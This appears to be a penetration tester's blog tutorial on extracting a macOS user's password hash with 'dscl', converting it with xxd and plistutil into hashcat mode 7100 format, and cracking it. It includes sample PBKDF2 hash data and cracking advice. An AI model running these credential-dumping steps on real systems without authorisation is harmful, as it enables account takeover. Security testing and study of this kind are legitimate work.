macOS Password Cracking
macOS⌗
So you’ve got elevated access to a macOS machine and for whatever reason, you now need to target the local user password hashes. Unlike traditional Linux environments, this is a bit more convoluted than grabbing /etc/shadow and calling it a day, enough so that I figured it’s worth documenting. For this post, we’ll assume you want to target the ryleh user. Let’s start by first dumping the user details:
sudo dscl . -read /Users/ryleh
This lists a lot of information but for this we’re particularly interested in the ShadowHashData block. Get this info out of the environment and onto your own machine. Going forward, I’ll assume you’re working within a Linux environment (Ubuntu, specifically).
Ubuntu⌗
To massage this data into a useable format, we’ll need the plistutil package (apt install libplist-utils). Assuming the previous ShadowHashData data is now local within ryleh.hashdata:
cat ryleh.hashdata | xxd -p -r > ryleh.bin.plist
plistutil -i ryleh.bin.plist -o ryleh.plist -f xml1
This gives us a proper plist, with all the data we need embedded within.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>SRP-RFC5054-4096-SHA512-PBKDF2</key>
<dict>
<key>verifier</key>
<data>
Q7hXEJ8cG/jhRgvBtieRXmanSUcpNm4ssPxjcUUWQcxUnu8JUv0WkKZYh8Tx
DhOyQk786DdjSuqUWOV+vmVTedb3slWC98Y1/TPxUTBk9wtqoNh1ESc6ayys
339H4zNi+KcZ47zHgHgyWFbWpWZm/BLm4H4Vq5oO0s/UAmT+3bhTGOFrhgGq
P0faR8i1f1uSrw/S0I2kPgq312jGO91/2VLb9niC5i1mEfciFU+s0YyoBg/E
8UGtSpdg5X+MYQotKzeiSi/CMAeyHCpSpzyc35kngTHYDcFzTUB5hDB1MOJY
GPUXJiimMzd5LefrLsdizNDW0Dm6GT8YLCyx6LLBy0UTdE9gHPNt6xO7Iv2N
VwfK5d1H3nD27Ko6pSi0x+H5WdHMQ96/MdMgSLpsNWPF0U6ybpU03nFr6MPE
dqw+hiuAaXju9I8zNcsPt4twVxbG9dlcvGjlpWA+2+tsuq7oCeYyVdNM9Lfa
W7ELmZTKH06eQVmBMgO8MwCC6g79x22v1fPYuywPQGSnhQV8P9QJGkev0Kvx
BiwQ1IBcF/bzx2fUCx+f6BSpu0DMDQsUW2gjbB6VaBJOWYCsp6XZPQFYpVf6
5K7GYNLjVBySEUUsTS3sSJhdJac+xlCWrf8C1/3lDU3Bmy4Eku371ErlCLc4
x+PcnwNaS6wLAn+c3eOhV78=
</data>
<key>salt</key>
<data>
GkTtt96MhhhLVE7gQdaLUL9j/emkaBT5TKHGnhkF2kk=
</data>
<key>iterations</key>
<integer>131578</integer>
</dict>
<key>SALTED-SHA512-PBKDF2</key>
<dict>
<key>entropy</key>
<data>
dyGspnfdJffuNG5N1I8RJQRSxubbknBEswHF8Dwz3wbVzel0qf42rv6kqJe8
TiN2V7gzrZb+6YAqy60q5ha4lvXccsjaG5DAgl4hnS1byPUUyontKx2EXeul
3bKt9pDuLU3i/lnx2eLVedIizn0pG2XzJYKPLR23xcNn1lnU5IA=
</data>
<key>salt</key>
<data>
t52inmMU3tpPKQzYSdD5NloeBtXHBOcH+sfJeCVOySM=
</data>
<key>iterations</key>
<integer>133333</integer>
</dict>
</dict>
</plist>
Now we extract the entropy and salt keys out of the SALTED-SHA512-PBKDF2 block, using xxd to hexdump them:
entropy="dyGspnfdJffuNG5N1I8RJQRSxubbknBEswHF8Dwz3wbVzel0qf42rv6kqJe8TiN2V7"\
"gzrZb+6YAqy60q5ha4lvXccsjaG5DAgl4hnS1byPUUyontKx2EXeul3bKt9pDuLU3i/lnx2eLV"\
"edIizn0pG2XzJYKPLR23xcNn1lnU5IA="
salt="t52inmMU3tpPKQzYSdD5NloeBtXHBOcH+sfJeCVOySM="
echo $entropy | base64 -d | xxd -p -c 2000
echo $salt | base64 -d | xxd -p -c 2000
These values are then combined with the iteration count in the following format:
$ml$<iterations>$<salt>$<entropy>
Using the example data above, we get the following hash:
$ml$133333$b79da29e6314deda4f290cd849d0f9365a1e06d5c704e707fac7c978254ec923$7721
aca677dd25f7ee346e4dd48f11250452c6e6db927044b301c5f03c33df06d5cde974a9fe36aefea4
a897bc4e237657b833ad96fee9802acbad2ae616b896f5dc72c8da1b90c0825e219d2d5bc8f514ca
89ed2b1d845deba5ddb2adf690ee2d4de2fe59f1d9e2d579d222ce7d291b65f325828f2d1db7c5c3
67d659d4e480
Target this via hashcat mode 7100 and away you go.
On Cracking⌗
It’s worth noting that this particular hashing scheme is relatively slow. If you’re used to harvesting & cracking NetNTLM hashes from Windows environments, you’re about to be in for a bad time. Even with a relatively strong password cracking setup (we have multiple 4x 3080Ti servers), you’ll need to perform more targetted and granular attacks. No running OneRuleToRuleThemStill or d3adhob0 against your favorite 500mb wordlist. Even the “smaller” lists, like rockyou, will likely still be far too large.